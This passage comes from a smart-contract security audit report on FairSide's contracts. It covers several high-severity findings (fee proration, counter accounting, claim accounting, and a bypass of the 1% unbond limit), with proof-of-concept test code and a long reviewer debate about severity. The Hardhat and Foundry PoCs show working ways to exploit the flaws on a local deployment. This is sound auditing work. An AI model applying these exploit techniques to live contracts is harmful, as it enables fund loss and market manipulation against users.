uint256 daysRemaining = (duration - block.timestamp) / 86400;
if (daysRemaining == 0) {
    return fee;
}
```

POC:

```
import { assert, expect } from "chai";
import { ethers } from "hardhat";
import { ethToWei, weiToEth, toUnits, toWholeUnits, increaseTime,
↪  createRandomWalletAddress, getEthBalance } from "../helpers/base";
import { SignerWithAddress } from "@nomiclabs/hardhat-ethers/signers";
import { FSD, FairSideNetwork } from "../../typechain-types";
import { FSDPhase } from "../Interfaces/enums";
import fsdContractsDeployer from "../helpers/test.deployer";

describe("FinalDayTopup", () => {
    // Accounts
    let owner: SignerWithAddress;
```

SHERLOCK

```
    let random: SignerWithAddress;
    let userAccount3: SignerWithAddress;
    let userAccount1: SignerWithAddress;

    let fsd: FSD;
    let coverID: number;

    let fairSideNetwork: FairSideNetwork;
    let timelockAccount: SignerWithAddress;
    let accounts: any[];

    const coverAddress = "0x41427a1488a16a150959347d05c33e54d4d8467e";

    //purchase membership
    before(async () => {
        accounts = await ethers.getSigners();
        [owner, random, userAccount3, userAccount1] = await ethers.getSigners();

        ({ fsd, fairSideNetwork, timelockAccount } = await
↪   fsdContractsDeployer(owner));

        await fsd.updateCurrentPhase(FSDPhase.Final);

        const balance = await ethers.provider.getBalance(fsd.address);
    });

    // context("Integration testing full user map", async () => {
    it("should purchase PWP membership cover with ETH ", async () => {
        const [joe, tom] = accounts.slice(17, 19);

        // add funds to capital pool by bonding FSD to curve
        await fsd.connect(joe).bond(1, {
            value: ethToWei("10000"),
        });

        //purchase pwp cover
        const cost = (await
↪   fairSideNetwork.connect(tom).estimateCost(ethToWei("50"), 0)) as any;
        console.log("50 ETH for 365 days:", cost);
        await fairSideNetwork.connect(tom).purchaseMembership(ethToWei("50"),
↪   coverAddress, { value: ethToWei("1.5") });

        let coverId = 1;
        let membership = await fairSideNetwork.getMembership(coverId);

        //Increase wait time to the last day of the year.
        await increaseTime(364.5 * 86400);
        const proratedCost = (await
↪   fairSideNetwork.connect(tom).estimateCost(ethToWei("50"),
↪   membership.duration)) as any;
        console.log("50 ETH for final day:",proratedCost);

        await expect(fairSideNetwork.connect(tom).topupMembership(coverId,
↪   ethToWei("50"), { value: ethToWei("1.5") })).not.be.reverted;

    });
});
```

```
npx hardhat test ./test/network/finalDayTopup.test.ts

  FinalDayTopup
50 ETH for 365 days: BigNumber { value: "975000000000000000" }
50 ETH for final day: BigNumber { value: "975000000000000000" }
```

Impact

Loss of funds for the user if they top up their memership on the last day of the membership duration.

Code Snippet

https://github.com/sherlock-audit/2024-04-fairside/blob/main/FairsideContractsV2/contracts/network/FairSideNetwork.sol#L469-L488

https://github.com/sherlock-audit/2024-04-fairside/blob/main/FairsideContractsV2/contracts/network/FairSideNetwork.sol#L870-L887

Tool used

Manual Review

Recommendation

Either don't allow membership top up on the last day of the duration or alternatively use seconds instead of days in calculating the prorated cost.

Discussion

nevillehuang

Likely valid high severity, normal usage of membership top up results in charging FULL annual fee. What is the exact number of loss here?

gstoyanovbg

@nevillehuang IMO it is a design choice. It seems deliberate there, the reason may be to discourage users from making top-ups on the last day of their membership to prevent abuse. There's no attack here and no loss for the user - these are just the rules of the protocol.

nevillehuang

@gstoyanovbg I would hesitate calling this a design choice. Why would the protocol discourage users from making topups to gain fees and I don't see the abuse here? To me this is clear loss of funds for users paying fees for topping up memberships appropriately.

0xdeadbeef0x

@nevillehuang adding comments from discord:

Not a design choice - this is a function that calculates the price per day. It seems like an typo error and is clear the `dailycost` should be returned instead of fee otherwise they would have changed the if statement:

```
if (block.timestamp > duration) {
    return fee;
}
```

to `if (block.timestamp > duration - 1)`.

sherlock-admin2

The protocol team fixed this issue in the following PRs/commits:
https://github.com/FairSide-Organization/FairsideContractsV2/pull/485

sherlock-admin2

The Lead Senior Watson signed off on the fix.

Issue H-9: TotalPWPCSB is never decremented

Source: https://github.com/sherlock-audit/2024-04-fairside-judging/issues/28

Found by

0xdeadbeef, giraffe

Summary

In FairSideNetwork.sol, the `totalPWPCSB` variable is never decremented even after memberships expire or when cost share benefits have been utilized.

Vulnerability Detail

The `totalPWPCSB` variable represents the total Cost Share Benefits (CSB) available across all memberships. It is incremented via `setCoverCounts()` when new memberships are purchased or when existing memberships are topped up or renewed.

However, there's no mechanism to decrement `totalPWPCSB` when memberships expire or when CSBs are claimed.

```
// FairSideNetwork.sol

function setCoverCounts(uint256 costShareBenefit) internal {
        totalPWPCSB += costShareBenefit;
    }

function increaseOrDecreaseCSB(
        uint256 amount,
        address account,
        uint256 coverId,
        bool increase
    ) external override onlyFairSideClaims {
        Membership storage membershipId = membership[coverId];

        if (membershipId.owner != account) {
            revert FSNetwork_InvalidCoverIdForAccount();
        }

        //@audit does not update totalPWPCSB after processing of claims
        if (increase) {
            membershipId.availableCostShareBenefits += amount;
        } else {
            membershipId.availableCostShareBenefits -= amount;
        }
    }
```

Impact

1) Whenever a membership is purchased/topup/renewed, the contract checks that `totalPWPCSB` does not exceed the `getMaxTotalCostShareBenefits()`. Since `totalPWPCSB` is never decreased, it will eventually hit this cap and prevent new memberships from being purchased.
2) As`totalPWPCSB` increases so does `fShare` (calculated in `getTokenFShare()`) which is used to calculate FSD token price. As `fShare`increases, the denominator of the division (`_pow3(fShare).mul(C)`) becomes larger. Since `x` is raised to the fourth power (`_pow3(x).mul(x)`) in the numerator, the overall result of the division decreases. This means that as `fShare` becomes very large, the value returned by `_f()` i.e. FSD token price will approach zero.

```
// FairSideFormula2.sol

function _f(bytes16 x, bytes16 fShare) private pure returns (bytes16) {
    return A.add(_pow3(x).mul(x).div(_pow3(fShare).mul(C)));
}

// f represents the relation between capital and token price
function f(uint256 x, uint256 fShare) public pure returns (uint256) {
    bytes16 _x = denormalize(x);
    bytes16 _fShare = denormalize(fShare);
    return normalize(_f(_x, _fShare));
}
```

3) As `totalPWPCSB` increases, so does `getNetworkFshare()` which results in`getFShareRatio()` trending towards zero. This impacts `calculateSmartStakingReward()` as `fShareRatio` will never exceed 125%.

Code Snippet

https://github.com/sherlock-audit/2024-04-fairside/blob/main/FairsideContractsV2/contracts/network/FairSideNetwork.sol#L865 https://github.com/sherlock-audit/2024-04-fairside/blob/main/FairsideContractsV2/contracts/network/FairSideNetwork.sol#L291 https://github.com/sherlock-audit/2024-04-fairside/blob/main/FairsideContractsV2/contracts/dependencies/FairSideFormula2.sol#L32

Tool used

Manual Review

Recommendation

1) `totalPWPCSB` should be decremented after membership expiry. This should be implemented by offchain keepers that monitor for the expiry date to update expired memberships.
2) `totalPWPCSB` should be decremented after claims payout via `increaseOrDecreaseCSB()`

Discussion

nevillehuang

Likely high severity based on impact described in #18, impacts FSHARE ratio and FSD pricing

gstoyanovbg

@nevillehuang This is a known issue from the previous audit report in the README file. It is marked as "not fixed" there

nevillehuang

@0xdeadbeef0x

@gstoyanovbg is correct this finding was stated in the previous audit here, but there is no clear rule within sherlock indicating previous audit fundings are out of scope unless explicitly stated within contest details. I believe this should remain valid unless I am missing information @gstoyanovbg

0xdeadbeef0x

@nevillehuang adding my comment from discord:

I do not see any issue in the previous audit report mentioning the fact the TotalPWPCSB is never decremented. Additionally, in the README it says that there are no known issues with the codebase.

Issue H-10: Incorrect accounting of cost share requests

Source: https://github.com/sherlock-audit/2024-04-fairside-judging/issues/48

Found by

0xdeadbeef, ck, ge6a, giraffe

Summary

Incorrect accounting of cost share requests leading to loss of funds for users and putting the entire protocol at risk.

Vulnerability Detail

The issue lies in the createCostshareRequest function where in the CostShareRequest struct, requestPayout is recorded, but then in the incrementCounts and setAvailableBenefits functions, claimAmount is passed. The value of requestPayout is 10% lower than that of claimAmount, with the idea being that in case of an incident, the user bears 10% of the losses, and the rest are covered by the protocol. The setAvailableBenefits function decreases/increases the value of availableCostShareBenefits for the respective membership. Due to the inconsistent use of claimAmount/requestPayout, the user loses 10% of the availableCostShareBenefits they have paid for, even when the claim is denied. The incrementCounts function increases the value of openPWPRequestAmount, an important variable used in calculating fShare and the price of FSD. When a claim is finalized, the decrementCounts function is called, which should decrease the value of openPWPRequestAmount by the same value it was increased when the claim was opened. However, this does not happen, and only 90% of the added value is subtracted. Thus, openPWPRequestAmount constantly has a non-zero value even if there are no open requests at the moment. Over time, this value will accumulate and more and more ether will be needed to maintain a ratio > 1. Also openCostShareBenefits will also store wrong values.

```
//Modified test from fsdClaims.test.ts
it("should allow admin to deny a claim", async () => {
  const [frank] = accounts.slice(4, 5);
  //purchase membership of 100 ETH
  await fairSideNetwork.connect(frank).purchaseMembership(ethToWei("10"),
↪  coverAddress, { value: ethToWei("10") });

  await increaseMonths(6);

  //frank purchases 100 ETH of fsd to cover assessors fee
  await fsd.connect(frank).bond(0, {
    value: ethToWei("10"),
  });

  // this returns a list of all memberships for address, since we only have one
↪   membership, we select index 0
  const [cover] = await fairSideNetwork.getAccountMembership(frank.address);
  const frankCoverID = cover.toNumber();

  let frankMembership = await fairSideNetwork.membership(frankCoverID);
  expect(frankMembership.availableCostShareBenefits).equal(ethToWei("10"));

  // frank tries to file a claim without approving fsd
  await expect(fairSideClaims.connect(frank).openPWPRequest(ethToWei("5"),
↪   frankCoverID, false)).to.be.revertedWith(
    "FSClaims_FSDNotEnoughForBounty()"
  );

  // frank tries to pay for ETH, but assuming he doesn't have enough eth for
↪   fee, and sends 0
  await expect(
    fairSideClaims.connect(frank).openPWPRequest(ethToWei("5"), frankCoverID,
↪   true, { value: 0 })
  ).to.be.revertedWith("FSClaims_ETHNotEnoughForBounty()");

  // frank gives approval
  await fsd.connect(frank).approve(fairSideClaims.address, ethToWei("10000"));
  // frank tries to open a CSR for more eth than he has covered
  await expect(
    fairSideClaims.connect(frank).openPWPRequest(ethToWei("15"), frankCoverID,
↪   false)
  ).to.be.revertedWith("FSClaims_CostRequestExceedsAvailableCostShareBenefits()"
↪   );

  // frank opens a CSR
  const openPWPtx = await
↪   fairSideClaims.connect(frank).openPWPRequest(ethToWei("5"), frankCoverID,
↪   false);
  const receipt = await openPWPtx.wait(1);
  // Get the last event, thats where the CreateCSR event was emitted
  const res = receipt.events.at(-1);
  const claimId = res.args.id.toNumber();

  let getClaim = await fairSideClaims.costShareRequests(frankCoverID);
  expect(getClaim.status).equal(ClaimStatus.IN_PROGRESS);
  console.log("Amount ", getClaim.claimAmount );
  frankMembership = await fairSideNetwork.membership(frankCoverID);
  expect(frankMembership.availableCostShareBenefits).equal(ethToWei("5"));

  // we had PWP & Global claims that would have been depicted by the csrType
↪   with values of integer 1, 2
  // since that idea is deprecated, but we still maintained the parameter, we
↪   default it to 0
  const csrType = 0;

  const reason = Buffer.from(approveClaimReason, "utf8");

  const blockTimestamp = await getCurrentBlockTimestamp();

  let openRequestsBefore = await fairSideClaims.totalOpenRequests();
  console.log("Open requests before seedPWPVerdictTx: ", openRequestsBefore);

  // guardian seeds pwp claim information
  const seedPWPVerdictTx = await fairSideClaims
    .connect(owner)
    .seedPWPVerdict(claimId, Action.DENY_CLAIM, csrType, reason);
  const receiptSeed = await seedPWPVerdictTx.wait(1);
  const emittedEvent = receiptSeed.events.at(-1);

  expect(emittedEvent.event).equal("DenyCSR");
  expect(emittedEvent.args.id).equal(claimId);
  expect(emittedEvent.args.csrType).equal(csrType);
  expect(emittedEvent.args.assessor).equal(owner.address);
  expect(emittedEvent.args.reason).equal(`0x${reason.toString("hex")}`);
  expect(Number(emittedEvent.args.timestamp)).closeTo(blockTimestamp, 10);

  getClaim = await fairSideClaims.costShareRequests(claimId);
  expect(getClaim.status).equal(ClaimStatus.DENIED);

  frankMembership = await fairSideNetwork.membership(frankCoverID);
  console.log("Available csb (should be 10 ethers): ",
↪   frankMembership.availableCostShareBenefits);

  let openRequestsAfter = await fairSideClaims.totalOpenRequests();
  console.log("Open requests after (should be 0): ", openRequestsAfter);

  // one year later, frank tries to file a claim again with expired membership
  await increaseYears(1);

  // frank gives approval
  await fsd.connect(frank).approve(fairSideClaims.address, ethToWei("10000"));
  // frank open a CSR
  await expect(fairSideClaims.connect(frank).openPWPRequest(ethToWei("5"),
↪   frankCoverID, false)).to.be.revertedWith(
    "FSClaims_GracePeriodPassed()"
  );
});
```

Impact

Loss of funds for users due to loss of already paid CSB. Significant impact on the protocol's operation, limiting the ability to create memberships and leading to losses. Possibility of DOS, intentional or not.

Code Snippet

https://github.com/sherlock-audit/2024-04-fairside/blob/main/FairsideContractsV2/contracts/network/FairSideClaims.sol#L262-L274

Tool used

Manual Review

Recommendation

Update openCostShareBenefits() to use requestPayout instead of claimAmount.

Discussion

nevillehuang

Likely valid high severity, #48 highlights both scenarios of wrong use of `claimAmount`

1. User lose 10% cost share benefits
2. openPWPRequestAmount permanently increased by 10% --> affects FSHARE ratio and FSD token pricing

Issue H-11: Bonder can bypass the 1% of capital pool unbonding limit by transferring to other owner addresses.

Source: https://github.com/sherlock-audit/2024-04-fairside-judging/issues/58

Found by

0xdeadbeef

Summary

Bypass of unbonding amount limit can cause liquidity issues and big losses to other contributers.

Vulnerability Detail

When unbonding there is a check that the amount to unbond does not exceed 1% of the capital pool in a single day: https://github.com/sherlock-audit/2024-04-fairside/blob/main/FairsideContractsV2/contracts/token/FSD.sol#L334

```
    function unbond(uint256 capitalDesired, uint256 tokenMaximum) external
↪   virtual nonReentrant onlyValidPhase(IFSD.Phase.Final) {
        uint256 curveCapital = getReserveBalance();
----------------------
        uint256 tribute = capitalDesired.mul(tributeFee);
        uint256 reserveWithdrawn = capitalDesired - tribute;
----------------------
        if (staker.amountUnbonded + reserveWithdrawn > getCapitalPool().mul(0.01
↪   ether)) {
            revert FSD_ExceedsOnePercentOfCapitalPool();
        }
----------------------
    }
```

This can be easily bypassed by splitting the unbonding operation to multiple accounts. The user will send their `FSD` to multiple user owned accounts and call `unbond` from each one - not exceeding the 1% limit per user

Impact

Users will be able to unbond large amount of funds. This will create a liquidity pinch. Users that will see the large unbond (possibly in mempool) will see it profitable for them to unbond before (losses of 3.5% fee will be less then the loss of a big unbond)

Code Snippet

Tool used

Manual Review

Recommendation

Either limit the 1% to be per day globally (not per user) - giving enough time to react. Or add the same limitation to `_beforeTokenTransfer` hook (not allow sending more then 1% of capital pool per day)

Discussion

nevillehuang

Likely invalid, what exactly is the exploit here that deserves high severity? The user burns FSD, pays tribute fee, seems intended, other than the per user unbond check being bypassed. Could be low severity since there is no exploit/loss of funds here.

0xdeadbeef0x

@nevillehuang comments from discord:

The main issue here is that the system could go into a liquidity crunch by multiple users unbonding large amount of funds. The current system has multiple protection to make sure bonders will most likely not lose much of their value because unbonds need to pay 3.5% tribute and cannot unbond more then 1% of the capital pool. This means that its unlikely that if I bond to FSD that I will loss value by users that unbond. However - if a single user bypassed the 1% bond to unbond a large amount then suddenly the system fails. It becomes profitable to unbond and lose 3.5% then to let the large unbond be mined first. Since there is a big unbond and this generates a chain of incentives to unbond - users will suddenly lose a lot of value from their FSD bond.

nevillehuang

@0xdeadbeef0x I need more details to verify the impact here. What do you mean by the users will suddenly lose a lot of value from their FSD bond? Wouldn't the attacker performing the multiple large unbond be impacted themselves too? Seems like medium severity to me.

iamckn

Seems low. Every unbond gets subjected to the 3.5% tribute fee. The issue is talking about multiple small unbonds and not one single one which is not possible. Multiple addresses are allowed to unbond small amounts as a design of the system.

The fact that users can frontrun unbonds if they see multiple unbonds in the mempool shouldn't be considered as an issue as it is how normal operation is.

nevillehuang

@iamckn posting @0xdeadbeef0x for your consideration.

The system is designed to prevent users from unbonding before an unbond by two mechanism:

1. Unbonding accrues a 3.5% fee
2. You cannot unbond more then 1% of the capital pool

The above two mechanisms make sure that any unbond will be SMALL and costs a large fee

Lets take a simplified example of two bonders:

1. Alice - bonded 100 ETH
2. Bob - bonded 50 ETH

in our case the capital pool is 150 ETH.

Without the 1% protection Alice could unbond her 100 ETH and BOB would lose a very significant portion of their 50 ETH bond.

So there are two major impacts of this issue:

1. If Alice could take out all her bond instantaniously - BOB and other bonders would lose their funds (not expected behavior because of the 1% rule)
2. Bob and other bonders could see that alice is taking out her funds (which would impact their loss to more then 3.5% fee) and they would take out their funds first or after to mitigate losses. This will create a chain of unbonding that will each time make the losses for other bonders larger and therefore give them more incentive to unbond - losses will be larger for anyone that unbonds in a later stage.

If the original unbond could not go over 1% of the capital pool (as designed) this type of unbonding sled would not be incentivised because in the first place users would not loose enough to justify their 3.5% fee for unbonding. But once for example you take a 20% loss it suddenly becomes very incentives to front-run and take the 3.5% fee loss instead of 20% loss

iamckn

Alice would have to split her 100 ETH into less than 1% of the capital pool and send it to multiple other addresses. There is no way to unbond 100ETH at once. The maximum they would be able to unbond per address would have to be less than

1.5ETH (0.01 * 150 ETH). Every time they unbond the small amount would be subjected to the 3.5% tribute fee. By the time they finish unbonding the full 100ETH, they would experience greater losses and the capital pool would still be left with all the tribute fee they paid. I don't see how Bob experiences a loss. The capital pool actually increases from the tribute fees paid by Alice.

0xdeadbeef0x

> There is no way to unbond 100ETH at once

Thats exactly what this issue suggests! By splitting and transferring the 100 ETH can be unbonded.

> Every time they unbond the small amount would be subjected to the 3.5% tribute fee. By the time they finish unbonding the full 100ETH, they would experience greater losses and the capital pool would still be left with all the tribute fee they paid.
>
> The capital pool actually increases from the tribute fees paid by Alice.

The amount of fee paid would be exactly the amount that would be paid if not splited. This is because the fee is not sent back to the pool - rather FSD is minted to the `tributePool` and not the capital pool. So Alice would pay 3.5% fees as intended - but can unbond as much as she wants

iamckn

First, the `tributeFee` (ETH) is not sent to the `tributePool`, it remains part of the reserves. What is sent to the `tributePool` is `mintTribute`, that is minted to the `tributePool`. Every time someone unbonds, the `tributeFee` in ETH remains in the capital pool. So Alice can only reduce the capital pool by the ETH they own minus the tribute fee. If Alice tries to unbond her 100 ETH, the pool will be left with `150 - ((1-0.035)*100) = 53.5ETH` which is available to Bob. What loss is Bob experiencing?

Second, all this is normal protocol operation. Multiple people can unbond and anyone can frontrun unbonding as part of regular MEV dynamics. One person doing it multiple times is the same as several people unbonding.

nevillehuang

I think I need to see a PoC for this to see if there really is a loss to other users unbonding after the check is bypassed. It is true that a single staker can split their unbonding, but it is also true that the tributeFee remains part of the reserves per calculation of `reserveWithdrawn` here, so I am inclined to agree with @iamckn

0xdeadbeef0x

@nevillehuang here is the POC:

In order to validate this bug we need to prove three things:

1. User can bypass 1% limit by splitting their unbondings (`test_one_precent_bypass`)
2. Alice will not pay more then 3.5% fee for her unbondings (`test_two_unbondings_same_total_fee`)
3. Bob will lose more then 3.5% fee of unbonding (`test_bob_loses_from_big_unbond`)

For POC setup a localnet and deploy the contracts.

Add the following `poc.t.sol` test

```
pragma solidity ^0.8.3;

import "forge-std/Test.sol";
import "contracts/interfaces/network/IFairSideNetwork.sol";
import "contracts/network/FairSideNetwork.sol";
import "contracts/token/FSD.sol";
import  "contracts/dependencies/ABDKMathQuadUInt256.sol";

contract MyTest is Test {
    FairSideNetwork fsn =
↪   FairSideNetwork(0x564Db7a11653228164FD03BcA60465270E67b3d7);
    FSD fsd = FSD(0x76a999d5F7EFDE0a300e710e6f52Fb0A4b61aD58);

    using ABDKMathQuadUInt256 for uint256;

    address alice = address(0x1337);
    address alice2 = address(0x13372);
    address bob = address(0xdeadbeef);
    uint256 tributeFee = 0.035 ether;
    uint256 onePercent = 0.01 ether;

    // Simple test that user can bypass limit by transfering to another account
↪   and unbonding.
    function test_one_precent_bypass() external {
        // Setup funds
        fsd.bond{value:2500 ether}(0);
        deal(alice, 1000 ether);
        deal(alice2, 1000 ether);

        // Alice bonds 1000 ETH
        vm.prank(alice);
        fsd.bond{value:1000 ether}(0);

        // Alice unbonds limit
        uint256 limit = fsd.getCapitalPool().mul(onePercent);
        vm.prank(alice);
        fsd.unbond(limit, type(uint256).max);

        // Alice transfers her FSD balance to alice2
        vm.prank(alice);
        fsd.transfer(alice2, fsd.balanceOf(alice));

        // Alice2 unbonds limit
        limit = fsd.getCapitalPool().mul(onePercent);
        vm.prank(alice2);
        fsd.unbond(limit, type(uint256).max);
    }

    function test_two_unbondings_same_total_fee() external{
        // Setup funds
        fsd.bond{value:2500 ether}(0);
        deal(alice, 1000 ether);
        deal(alice2, 1000 ether);

        // Alice bonds 1000 ETH
        vm.prank(alice);
        fsd.bond{value:1000 ether}(0);

        // Calculate the total tribute for 1 ETH bond
        uint256 totalUnbondAmount = 1 ether;
        uint256 totalFee = totalUnbondAmount.mul(tributeFee);

        // Capture balance before
        uint256 balanceBefore = alice.balance;

        // Unbond twice 0.5 ETH each time.
        vm.prank(alice);
        fsd.unbond(totalUnbondAmount / 2, type(uint256).max);
        vm.prank(alice);
        fsd.unbond(totalUnbondAmount / 2, type(uint256).max);

        // Capture balance after
        uint256 balanceAfter = alice.balance;

        // Assert received balance + total tribute fee fee = 1 ETH
        assertEq(balanceAfter - balanceBefore + totalFee, totalUnbondAmount);
    }

    function test_bob_loses_from_big_unbond() external {
        // Setup funds
        fsd.bond{value:3000 ether}(0);
        deal(alice, 500 ether);
        deal(bob, 100 ether);

        // Alice will bond 500 ETH then bob will bond 100 ETH
        uint256 bobOriginalBond = 100 ether;
        uint256 aliceBond = 500 ether;

        // Alice bonds 500 ETH
        vm.prank(alice);
        fsd.bond{value:aliceBond}(0);

        // Bob bonds 100 ETH
        vm.prank(bob);
        fsd.bond{value:bobOriginalBond}(0);

        // Make sure Bob has the exact balance to unbond 50 ETH
        uint256 bobTokensNeededToUnbond = fsd.getTokensBurned(bobOriginalBond);
        uint256 bobBalance = fsd.balanceOf(bob);
        assertEq(bobTokensNeededToUnbond, bobBalance);

        // Mock Alice bypassing the 1% limit and unbonding 500 ETH
        deal(address(fsd), address(fsd).balance - aliceBond);

        // Get the amount of tokens after Alice unbond
        bobTokensNeededToUnbond = fsd.getTokensBurned(bobOriginalBond);

        // Assert that Bob needs more then 25% more tokens to be able to unbond
 ↪  the full amount
        assertLe(bobBalance.mul(1.25 ether), bobTokensNeededToUnbond);
    }
}
```

Please go over the comments as they guide the POC.

Each function proves point 1-3 accordingly.

iamckn

Escalate

The fact that someone unbonding later needs more FSD to unbond than someone who unbonds earlier is just part of how the protocol design.

1. The protocol is designed to encourage users to bond more when a lot of unbonds happen. This is because it will be cheaper to bond therefore pushing the price back up. Similar points were raised here - https://github.com/sherlock-audit/2024-04-fairside-judging/issues/19#issuecomment-2095097365
2. One user distributing their FSD among multiple addresses after bonding

should not qualify as an issue. It is the same as the user bonding using multiple address. One user with multiple addresses is the same as multiple users bonding and unbonding.

3. In the "Issuance of FSD" PDF that was shared by the sponsor, it is explained that the tribute fee and rewards will be used to reward existing users based on their participation, gauged by factors like holding duration and amount of FSD held. Therefore this also encourages users to maintain their bonds over a long period and not be concerned about other users unbonding. Issuance_of_FSD-160424-181323.pdf

sherlock-admin3

> Escalate
>
> The fact that someone unbonding later needs more FSD to unbond than someone who unbonds earlier is just part of how the protocol design.
>
> 1. The protocol is designed to encourage users to bond more when a lot of unbonds happen. This is because it will be cheaper to bond therefore pushing the price back up. Similar points were raised here - https://github.com/sherlock-audit/2024-04-fairside-judging/issues/19#issuecomment-2095097365
> 2. One user distributing their FSD among multiple addresses after bonding should not qualify as an issue. It is the same as the user bonding using multiple address. One user with multiple addresses is the same as multiple users bonding and unbonding.
> 3. In the "Issuance of FSD" PDF that was shared by the sponsor, it is explained that the tribute fee and rewards will be used to reward existing users based on their participation, gauged by factors like holding duration and amount of FSD held. Therefore this also encourages users to maintain their bonds over a long period and not be concerned about other users unbonding. Issuance_of_FSD-160424-181323.pdf

You've created a valid escalation!

To remove the escalation from consideration: Delete your comment.

You may delete or edit your escalation comment anytime before the 48-hour escalation window closes. After that, the escalation becomes final.

nevillehuang

@iamckn

Also (although might not be relevant), sponsor confirmed with me this is an issue so I will consult for further review.

1. @0xdeadbeef0x What is the difference between this issue and the bonding curve mechanism highlighted in #19? If no difference, both could be valid.
2. I don't think your argument explains why the unbonding limit check is present in the first place and afaik, this poc here proves that by bypassing this check, there would be a loss of funds for other user unbonding, as long as one user performs the transfer + unbonding
3. I don't think this is relevant to this discussion

iamckn

For point 2: This is expected behaviour. Any unbonds mean the later unbonds will use more to unbond. That's the way any staking/bonding protocol works and not an attack. Whether one use unbonds multiple times or multiple users unbond without having to bypass the check.

For point 3: Why is it irrelevant? The person who unbonds ETH leaves a tribute fee which the protocol says will be used to reward users who are still bonding therefore providing an incentive to bond and to further protect them from the price movements of unbonding.

I would even add that the scenario described here is assuming the protocol has no users who have bought insurance and provided a large pool of ETH in the reserves. And there is no way, every single user will have valid insurance claims to deplete the pool.

0xdeadbeef0x

I will respond to your points together:

1. I don't understand what the other issue has to do with it. Yes when someone unbonds the amount of minted FSD increases for the next bonder. This is what the other issue is mentioning which indeed is just how bonding works. The 3.5% fee and and 1% limit and the 100 ETH limit of cover cost will prevent MEV profits. The sponsor confirmed that the 3.5% is used as rewards and also "offers as a buffer against arbitrage opportunities"
2. I agree that if multiple parties unbond in the same time the results are the same! But the likelyhood of that happening arbitrarily is VERY low which is not considered a risk. This is because losses are mitigated by the 3.5% fee of unbonding and the 1% limit. There is no reason for a large amount of users to unbond at once since they will not profit from it. ***UNLESS*** someone manages to make a large unbond by bypassing the 1% limit and making the losses for other bonders more then 3.5% fee of the unbond which is what this issue proved. What I wrote earlier about a liquidity crunch is a result of a user unbonding a large amount.
3. I agree its not relevant. I proved that when bypassing the 1% limit in unbonds -

the fee is not sufficient to cover the losses of the other bonder.

WangSecurity

Does the price of FSD increases when users bond and decreases when the users unbond?

0xdeadbeef0x

When bonding the price of FSD increases (you will get less FSD for X ETH) and when unbonding it will decrease (you will get more FSD for X ETH)

WangSecurity

Then I believe the following scenario is correct:

1. Assume we have malicious Alice who owns 10% of the reserve (an arbitrary number).
2. She sees in the mempool there is a large portion of unbonds.
3. She sends here funds across many accounts and withdraw all 10% at a time (or in one day).
4. The wave of unbonds occurs and the reserves has lost lots of ETH and now FSD price is significantly less.
5. Alice can bond again and buy FSD at a lower price.
6. When the price of FSD is the same as at the step 1, Alice has more funds than she had at step 1.

Is there anything wrong?

0xdeadbeef0x

Well yes, Alice can arbitrage on the wave of unbonds and gain more during this stratagy. That is an extended impact of this issue. However do notice that even if Alice does not bond again (maybe she just wants to remove all her funds without waiting a year and get impacted by price) - BOB (another bonder) FSD value is significantly impacted. The MEV protections of 3.5 tribute fee and 1% limit should of protected him.

WangSecurity

Then, firstly, other bonders will suffer a loss if a malicious actor uses this path. Secondly, in the wave of unbonds, the malicious actor would lose less funds than if they withdraw only 1% everyday as others (only 3.5% tribute fee). Moreover, it allows the malicious actor to gain additional value by bonding again at a lower FSD price, e.g. simple arbitrage and they will also receive the rewards that @iamckn told us about, ultimately recovering from that 3.5% tribute fee and having more funds.

Hence, planning to reject the escalation and leave the issue as it is.

iamckn

I don't disagree that large unbonds will lead to other users having to pay more FSD to unbond. What I disagree with is that this is an attack enabled by someone bypassing the 1% limit per address. The same user could just have opened multiple bonds using multiple accounts and still unbond with the same effect. My argument is that these are just market dynamics and the protocol will balance itself out by arbitrage. Unbonding will lead to other users bonding beacuse of lower pricing.

As for the protection offered by the 1% per address, it doesn't really limit unbonds because there's nothing preventing multiple users from unbonding with the same effect.

0xdeadbeef0x

There is no incentive in a healthy market for multiple parties to unbond at the same time - therefore it is very unlikely and not considered a risk. However as correctly summarized in @WangSecurity's comment - there are multiple incentives for an individual to unbond in a healthy market.

iamckn

To address the incentives part, let's say that the user tries to unbond 100ETH, they lose 3.5ETH. This is an incentive for people who don't unbond, therefore doesn't matter whether the user bonds again. Also when they unbond, it cannot just be assumed that other users will not take advantage and bond to take advantage of the lower price.

Eventually when the user who unbonded bonds again, they will have to hold their position for a long period knowing that if they immediately unbond again, they lose the tribute fee and just cumulatively suffer loses.

WangSecurity

I would say your analysis is correct here, but still, bypassing this check allows one user to unbond more than they should, leading to a loss of funds to other users and giving the opportunity to gain more value. Hence, I don't see any limitations to execute this attack and cause a loss of funds, which was proven by the POC above.

Still planning to reject the escalation and leave the issue as it is.

iamckn

Let me summarise my final arguments:

1. The issue is about 1% bypass. This only prevents a single address from breaching the 1%. It does not attempt to prevent multiple address or multiple users from performing the same withdrawals. I would think the protocol would not want to enforce a global 1% limit on all users as this effectively leads to a

situation where it's first come, first served basis and users could even avoid investing in the protocol.

2. When a user unbonds, they lose 3.5% which remains in the pool. This 3.5% and other rewards will be used to reward users based on their holding duration. So even though the price of FSD is affected, the amount by which it suffers is covered by rewards and tribute fee. The POC just demonstrates normal price dynamics of bonding and unbonding. For instance if Alice has 100ETH and Bob has 50ETH, If Alice unbonds they lose 3.5ETH. This 3.5 ETH gets rewarded to Bob. Bob is actually better off because they didn't unbond. To add, we haven't even mentioned the 2.5% from all new memberships that gets allocated to the rewards contract which again will benefit Bob.
3. Any bonding/staking protocol follows these principles, people unstake/unbond, price goes down, people stake/bond, price goes up. I don't believe we should start calling these losses that should be judged high impact. This is just design and market dynamics. Fairside actually has penalties for unbonding unlike most protocols which just let the market play out. If this is a high impact, then all staking/bonding protocols have this vulnerability by design.

0xdeadbeef0x

Responding:

1. My recommendation is also to also enforce the same check in `_beforeTokenTransfer` which will block the attempts to transfer to other users.
2. Incorrect. I showed in the POC how BOB is at a significant loss after 3.5% of Alice's unbond is kept in the reserve.
3. This is a bonding curve. Bonding curves by design have a risk of "pump and dump". The 1% limit and the 3.5% fee is used as a mechanism to combat this risk, otherwise the reserve will never be steady and MEV will occur.

iamckn

> Responding:
>
> 1. My recommendation is also to also enforce the same check in `_beforeTokenTransfer` which will block the attempts to transfer to other users.
> 2. Incorrect. I showed in the POC how BOB is at a significant loss after 3.5% of Alice's unbond is kept in the reserve.
> 3. This is a bonding curve. Bonding curves by design have a risk of "pump and dump". The 1% limit and the 3.5% fee is used as a mechanism to combat this risk, otherwise the reserve will never be steady and MEV will occur.

1. Doesn't prevent the same user bonding using multiple addresses or multiple users unbonding.
